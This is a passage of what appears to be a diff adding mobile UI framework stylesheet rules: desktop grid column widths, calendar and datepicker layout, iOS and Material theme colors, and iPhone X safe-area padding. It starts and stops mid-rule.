.tablet-auto { + width: 4.76190476%; + } +} +@media (min-width: 1025px) { + .md .row .desktop-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .desktop-100 { + width: 100%; + } + .md .row .desktop-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); + } + .md .row.no-gap .desktop-95 { + width: 95%; + } + .md .row .desktop-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); + } + .md .row.no-gap .desktop-90 { + width: 90%; + } + .md .row .desktop-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); + } + .md .row.no-gap .desktop-85 { + width: 85%; + } + .md .row .desktop-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); + } + .md .row.no-gap .desktop-80 { + width: 80%; + } + .md .row .desktop-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); + } + .md .row.no-gap .desktop-75 { + width: 75%; + } + .md .row .desktop-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); + } + .md .row.no-gap .desktop-70 { + width: 70%; + } + .md .row .desktop-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); + } + .md .row.no-gap .desktop-66 { + width: 66.66666666666666%; + } + .md .row .desktop-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); + } + .md .row.no-gap .desktop-65 { + width: 65%; + } + .md .row .desktop-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); + } + .md .row.no-gap .desktop-60 { + width: 60%; + } + .md .row .desktop-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); + } + .md .row.no-gap .desktop-55 { + width: 55%; + } + .md .row .desktop-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .desktop-50 { + width: 50%; + } + .md .row .desktop-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); + } + .md .row.no-gap .desktop-45 { + width: 45%; + } + .md .row .desktop-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); + } + .md .row.no-gap .desktop-40 { + width: 40%; + } + .md .row .desktop-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); + } + .md .row.no-gap .desktop-35 { + width: 35%; + } + .md .row .desktop-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .desktop-33 { + width: 33.333333333333336%; + } + .md .row .desktop-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); + } + .md .row.no-gap .desktop-30 { + width: 30%; + } + .md .row .desktop-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .desktop-25 { + width: 25%; + } + .md .row .desktop-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .desktop-20 { + width: 20%; + } + .md .row .desktop-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); + } + .md .row.no-gap .desktop-15 { + width: 15%; + } + .md .row .desktop-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .desktop-10 { + width: 10%; + } + .md .row .desktop-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .desktop-5 { + width: 5%; + } + .md .row .desktop-auto:nth-last-child(1), + .md .row .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .desktop-auto:nth-last-child(1), + .md .row.no-gap .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + } + .md .row .desktop-auto:nth-last-child(2), + .md .row .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .desktop-auto:nth-last-child(2), + .md .row.no-gap .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + } + .md .row .desktop-auto:nth-last-child(3), + .md .row .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .desktop-auto:nth-last-child(3), + .md .row.no-gap .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + } + .md .row .desktop-auto:nth-last-child(4), + .md .row .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .desktop-auto:nth-last-child(4), + .md .row.no-gap .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + } + .md .row .desktop-auto:nth-last-child(5), + .md .row .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .desktop-auto:nth-last-child(5), + .md .row.no-gap .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + } + .md .row .desktop-auto:nth-last-child(6), + .md .row .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); + } + .md .row.no-gap .desktop-auto:nth-last-child(6), + .md .row.no-gap .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + } + .md .row .desktop-auto:nth-last-child(7), + .md .row .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); + } + .md .row.no-gap .desktop-auto:nth-last-child(7), + .md .row.no-gap .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + } + .md .row .desktop-auto:nth-last-child(8), + .md .row .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + width: calc((100% - 16px*7) / 8); + } + .md .row.no-gap .desktop-auto:nth-last-child(8), + .md .row.no-gap .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + } + .md .row .desktop-auto:nth-last-child(9), + .md .row .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); + } + .md .row.no-gap .desktop-auto:nth-last-child(9), + .md .row.no-gap .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + } + .md .row .desktop-auto:nth-last-child(10), + .md .row .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .desktop-auto:nth-last-child(10), + .md .row.no-gap .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + } + .md .row .desktop-auto:nth-last-child(11), + .md .row .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); + } + .md .row.no-gap .desktop-auto:nth-last-child(11), + .md .row.no-gap .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + } + .md .row .desktop-auto:nth-last-child(12), + .md .row .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); + } + .md .row.no-gap .desktop-auto:nth-last-child(12), + .md .row.no-gap .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + } + .md .row .desktop-auto:nth-last-child(13), + .md .row .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); + } + .md .row.no-gap .desktop-auto:nth-last-child(13), + .md .row.no-gap .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + } + .md .row .desktop-auto:nth-last-child(14), + .md .row .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); + } + .md .row.no-gap .desktop-auto:nth-last-child(14), + .md .row.no-gap .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + } + .md .row .desktop-auto:nth-last-child(15), + .md .row .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); + } + .md .row.no-gap .desktop-auto:nth-last-child(15), + .md .row.no-gap .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + } + .md .row .desktop-auto:nth-last-child(16), + .md .row .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + width: calc((100% - 16px*15) / 16); + } + .md .row.no-gap .desktop-auto:nth-last-child(16), + .md .row.no-gap .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + } + .md .row .desktop-auto:nth-last-child(17), + .md .row .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); + } + .md .row.no-gap .desktop-auto:nth-last-child(17), + .md .row.no-gap .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + } + .md .row .desktop-auto:nth-last-child(18), + .md .row .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); + } + .md .row.no-gap .desktop-auto:nth-last-child(18), + .md .row.no-gap .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + } + .md .row .desktop-auto:nth-last-child(19), + .md .row .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); + } + .md .row.no-gap .desktop-auto:nth-last-child(19), + .md .row.no-gap .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + } + .md .row .desktop-auto:nth-last-child(20), + .md .row .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .desktop-auto:nth-last-child(20), + .md .row.no-gap .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + } + .md .row .desktop-auto:nth-last-child(21), + .md .row .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); + } + .md .row.no-gap .desktop-auto:nth-last-child(21), + .md .row.no-gap .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + } +} +/* === Calendar/Datepicker === */ +.calendar { + overflow: hidden; + height: 320px; + width: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.calendar.modal-in { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +@media (orientation: landscape) and (max-height: 415px) { + .calendar.calendar-sheet { + height: 220px; + } + .calendar.calendar-modal { + height: calc(100vh - 44px); + } +} +.calendar.calendar-inline, +.calendar.calendar-popover .calendar { + position: relative; +} +.calendar-modal { + position: absolute; + height: 420px; + overflow: hidden; + top: 50%; + left: 50%; + min-width: 300px; + max-width: 380px; + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + z-index: 12000; + background: #fff; + width: 90%; + border-radius: 4px; + -webkit-box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); + box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); +} +.calendar-modal.modal-in, +.calendar-modal.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.calendar-modal.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.calendar-modal.modal-out { + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); +} +.calendar-popover { + width: 320px; +} +.calendar-popover .calendar { + height: 320px; +} +.calendar-week-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 11px; +} +.calendar-week-header .calendar-week-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; +} +.calendar-months { + width: 100%; + height: 100%; + overflow: hidden; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-months-wrapper { + position: relative; + width: 100%; + height: 100%; + -webkit-transition: 300ms; + transition: 300ms; +} +.calendar-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; +} +.calendar-row { + height: 16.66666667%; + height: calc(100% / 6); + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.calendar-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; + cursor: pointer; + z-index: 20; + color: #000; + height: 100%; +} +.calendar-day.calendar-day-prev, +.calendar-day.calendar-day-next { + color: #b8b8b8; +} +.calendar-day.calendar-day-disabled { + color: #d4d4d4; + cursor: auto; +} +.calendar-day.calendar-day-selected span { + color: #fff; +} +.calendar-day.calendar-day-has-events span:after { + content: ''; + width: 4px; + height: 4px; + border-radius: 50%; + position: absolute; + margin-left: -2px; + left: 50%; + bottom: 1px; +} +.calendar-day span { + display: inline-block; + border-radius: 100%; + position: relative; +} +.calendar-range .calendar-day.calendar-day-selected { + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; + -webkit-align-content: stretch; + -ms-flex-line-pack: stretch; + align-content: stretch; +} +.calendar-range .calendar-day.calendar-day-selected span { + width: 100%; + border-radius: 0; + height: auto; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.calendar-month-selector, +.calendar-year-selector { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 50%; + max-width: 200px; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-month-selector span, +.calendar-year-selector span { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + overflow: hidden; + text-overflow: ellipsis; +} +.ios .calendar-header { + height: 44px; + background: #f7f7f8; + font-size: 17px; + line-height: 44px; + font-weight: 600; + padding: 0 8px; + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.ios .calendar-footer { + position: relative; + padding: 0 8px; + width: 100%; + height: 44px; + background: #f7f7f8; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 17px; +} +.ios .calendar-footer:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-week-header { + background: #f7f7f8; + height: 18px; +} +.ios .calendar-week-header .calendar-week-day { + line-height: 18px; +} +.ios .calendar-row:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-row:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-row:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-day { + font-size: 15px; +} +.ios .calendar-day.calendar-day-today span { + background: #e3e3e3; +} +.ios .calendar-day.calendar-day-has-events span:after { + background: #007aff; +} +.ios .calendar-day.calendar-day-has-events.calendar-day-selected span:after { + background-color: #fff; +} +.ios .calendar-day.calendar-day-selected span { + background: #007aff; +} +.ios .calendar-day span { + width: 30px; + height: 30px; + line-height: 30px; +} +.ios .calendar-month-selector a.icon-only, +.ios .calendar-year-selector a.icon-only { + min-width: 36px; +} +.ios .calendar-sheet:before { + content: ''; + position: absolute; + background-color: #929499; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-sheet:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-sheet:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-sheet { + background: #fff; +} +.ios .calendar-sheet:before { + z-index: 600; +} +.ios .calendar-sheet .toolbar:before { + display: none !important; +} +.ios .calendar-modal .toolbar:before, +.ios .calendar-popover .toolbar:before { + display: none !important; +} +.ios .calendar-modal .calendar-months:first-child .calendar-row:first-child:before, +.ios .calendar-popover .calendar-months:first-child .calendar-row:first-child:before { + display: none !important; +} +.ios .calendar-popover .toolbar { + background: none; +} +.ios .calendar-popover .calendar-week-header, +.ios .calendar-popover .calendar-header, +.ios .calendar-popover .calendar-footer { + background: none; +} +.ios.device-iphone-x .calendar-sheet .sheet-modal-inner { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge.calendar .calendar-row, + .ios.device-iphone-x .ios-edges.calendar .calendar-row, + .ios.device-iphone-x .popup.calendar .calendar-row, + .ios.device-iphone-x .sheet-modal.calendar .calendar-row, + .ios.device-iphone-x .panel-left.calendar .calendar-row, + .ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .ios-left-edge.calendar .calendar-week-header, + .ios.device-iphone-x .ios-edges.calendar .calendar-week-header, + .ios.device-iphone-x .popup.calendar .calendar-week-header, + .ios.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .ios.device-iphone-x .panel-left.calendar .calendar-week-header, + .ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-right-edge.calendar .calendar-row, + .ios.device-iphone-x .ios-edges.calendar .calendar-row, + .ios.device-iphone-x .popup.calendar .calendar-row, + .ios.device-iphone-x .sheet-modal.calendar .calendar-row, + .ios.device-iphone-x .panel-right.calendar .calendar-row, + .ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .ios-right-edge.calendar .calendar-week-header, + .ios.device-iphone-x .ios-edges.calendar .calendar-week-header, + .ios.device-iphone-x .popup.calendar .calendar-week-header, + .ios.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .ios.device-iphone-x .panel-right.calendar .calendar-week-header, + .ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +.ios .theme-dark .calendar .calendar-header, +.calendar.ios .theme-dark .calendar-header, +.ios .theme-dark .calendar .calendar-week-header, +.calendar.ios .theme-dark .calendar-week-header, +.ios .theme-dark .calendar .calendar-footer, +.calendar.ios .theme-dark .calendar-footer { + background-color: #1b1b1b; +} +.ios .theme-dark .calendar-popover .calendar-week-header { + background-color: transparent; +} +.ios .theme-dark .calendar-footer:before, +.ios .theme-dark .calendar-row:before, +.ios .theme-dark .calendar-sheet:before { + background-color: #282829; +} +.ios .theme-dark .calendar-day { + color: #fff; +} +.ios .theme-dark .calendar-day.calendar-day-today:not(.calendar-day-selected) span { + background: #333; +} +.ios .theme-dark .calendar-day.calendar-day-disabled { + color: #8E8E93; +} +.ios .theme-dark .calendar-day.calendar-day-prev, +.ios .theme-dark .calendar-day.calendar-day-next { + color: #555; +} +.ios .theme-dark .calendar-modal, +.calendar-modal.ios .theme-dark, +.ios .theme-dark .calendar-sheet { + background: #171717; +} +.ios .color-theme-red .calendar-day.calendar-day-selected span, +.ios .color-red .calendar-day.calendar-day-selected span { + background: #ff3b30; +} +.ios .color-theme-green .calendar-day.calendar-day-selected span, +.ios .color-green .calendar-day.calendar-day-selected span { + background: #4cd964; +} +.ios .color-theme-blue .calendar-day.calendar-day-selected span, +.ios .color-blue .calendar-day.calendar-day-selected span { + background: #007aff; +} +.ios .color-theme-pink .calendar-day.calendar-day-selected span, +.ios .color-pink .calendar-day.calendar-day-selected span { + background: #ff2d55; +} +.ios .color-theme-yellow .calendar-day.calendar-day-selected span, +.ios .color-yellow .calendar-day.calendar-day-selected span { + background: #ffcc00; +} +.ios .color-theme-orange .calendar-day.calendar-day-selected span, +.ios .color-orange .calendar-day.calendar-day-selected span { + background: #ff9500; +} +.ios .color-theme-gray .calendar-day.calendar-day-selected span, +.ios .color-gray .calendar-day.calendar-day-selected span { + background: #8e8e93; +} +.ios .color-theme-white .calendar-day.calendar-day-selected span, +.ios .color-white .calendar-day.calendar-day-selected span { + background: #ffffff; +} +.ios .color-theme-black .calendar-day.calendar-day-selected span, +.ios .color-black .calendar-day.calendar-day-selected span { + background: #000000; +} +.md .calendar-header { + height: 56px; + background: #2196f3; + font-size: 20px; + line-height: 56px; + padding: 0 24px; + color: #fff; + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.md .calendar-footer { + position: relative; + width: 100%; + height: 48px; + padding: 6px 8px; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.md .calendar .toolbar { + background: none !important; + color: #212121; +} +.md .calendar .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.15) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.15) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .calendar .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .calendar .toolbar a.link .ripple-wave { + background: rgba(0, 0, 0, 0.1); +} +.md .calendar .toolbar .icon-next, +.md .calendar .toolbar .icon-prev, +.md .calendar .toolbar .icon-forward, +.md .calendar .toolbar .icon-back { + opacity: 0.54; +} +.md .calendar-week-header { + color: rgba(0, 0, 0, 0.54); + height: 24px; +} +.md .calendar-week-header .calendar-week-day { + line-height: 24px; +} +.md .calendar-day.calendar-day-today span { + color: #2196f3; +} +.md .calendar-day.calendar-day-has-events span:after { + background: #2196f3; +} +.md .calendar-day.calendar-day-has-events.calendar-day-selected span:after { + background-color: #fff; +} +.md .calendar-day.calendar-day-selected span { + background: #2196f3; + color: #fff; +} +.md .calendar-day span { + width: 36px; + height: 36px; + line-height: 36px; +} +.md .calendar-range .calendar-day.calendar-day-selected span { + color: #fff; +} +.md .calendar-month-selector a.icon-only, +.md .calendar-year-selector a.icon-only { + min-width: 36px; +} +.md .calendar-sheet:before { + content: ''; + position: absolute; + background-color: #ccc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .calendar-sheet:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .calendar-sheet:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md.device-iphone-x .calendar-sheet .sheet-modal-inner { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge.calendar .calendar-row, + .md.device-iphone-x .ios-edges.calendar .calendar-row, + .md.device-iphone-x .popup.calendar .calendar-row, + .md.device-iphone-x .sheet-modal.calendar .calendar-row, + .md.device-iphone-x .panel-left.calendar .calendar-row, + .md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .ios-left-edge.calendar .calendar-week-header, + .md.device-iphone-x .ios-edges.calendar .calendar-week-header, + .md.device-iphone-x .popup.calendar .calendar-week-header, + .md.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .md.device-iphone-x .panel-left.calendar .calendar-week-header, + .md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge.calendar .calendar-row, + .md.device-iphone-x .ios-edges.calendar .calendar-row, + .md.device-iphone-x .popup.calendar .calendar-row, + .md.device-iphone-x .sheet-modal.calendar .calendar-row, + .md.device-iphone-x .panel-right.calendar .calendar-row, + .md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) 